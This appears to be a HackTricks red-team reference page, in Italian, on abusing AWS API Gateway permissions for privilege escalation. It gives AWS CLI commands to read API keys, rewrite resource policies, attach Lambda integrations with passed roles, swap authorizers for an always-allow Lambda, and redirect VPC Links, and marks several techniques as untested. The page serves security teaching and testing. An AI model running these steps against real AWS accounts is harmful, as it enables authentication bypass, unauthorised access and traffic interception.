AWS - Apigateway Privesc

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

Apigateway

Per maggiori informazioni consulta:

AWS - API Gateway Enum

apigateway:POST

Con questa autorizzazione puoi generare le API key delle API configurate (per regione).

aws --region <region> apigateway create-api-key

Impatto potenziale: Non puoi privesc con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.

apigateway:GET

Con questo permesso puoi ottenere le chiavi API generate delle API configurate (per regione).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Impatto potenziale: Non puoi privesc con questa tecnica ma potresti ottenere accesso a informazioni sensibili.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Con queste autorizzazioni è possibile modificare la resource policy di un’API per concederti l’accesso a invocarla e abusare dei potenziali permessi che l’API gateway potrebbe avere (per esempio invocando una lambda vulnerabile).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Impatto potenziale: Di solito non riuscirai a privesc direttamente con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Note

Da testare

Un attaccante con i permessi apigateway:PutIntegration, apigateway:CreateDeployment, e iam:PassRole può aggiungere una nuova integrazione a un’API Gateway REST API esistente con una Lambda function che ha un IAM role associato. L’attaccante può quindi attivare la Lambda function per eseguire codice arbitrario e potenzialmente ottenere accesso alle risorse associate all’IAM role.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto potenziale: Accesso alle risorse associate al ruolo IAM della Lambda function.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Note

Da testare

Un attaccante con i permessi apigateway:UpdateAuthorizer e apigateway:CreateDeployment può modificare un authorizer esistente di API Gateway per bypassare i controlli di sicurezza (es. reindirizzarlo verso una Lambda che restituisce sempre “allow”) oppure per eseguire codice arbitrario quando vengono effettuate richieste API.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto potenziale: Bypassare i controlli di sicurezza, accesso non autorizzato alle risorse API.

HTTP APIs / apigatewayv2 variante

Per le HTTP APIs (API Gateway v2), l’operazione equivalente è aggiornare l’authorizer tramite apigatewayv2:

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

Note

Da testare

Un attacker con il permesso apigateway:UpdateVpcLink può modificare un VPC Link esistente per puntarlo verso un diverso Network Load Balancer, reindirizzando potenzialmente il traffico delle API private verso risorse non autorizzate o malevole.

VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Impatto potenziale: Accesso non autorizzato a risorse API private, intercettazione o interruzione del traffico API.

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks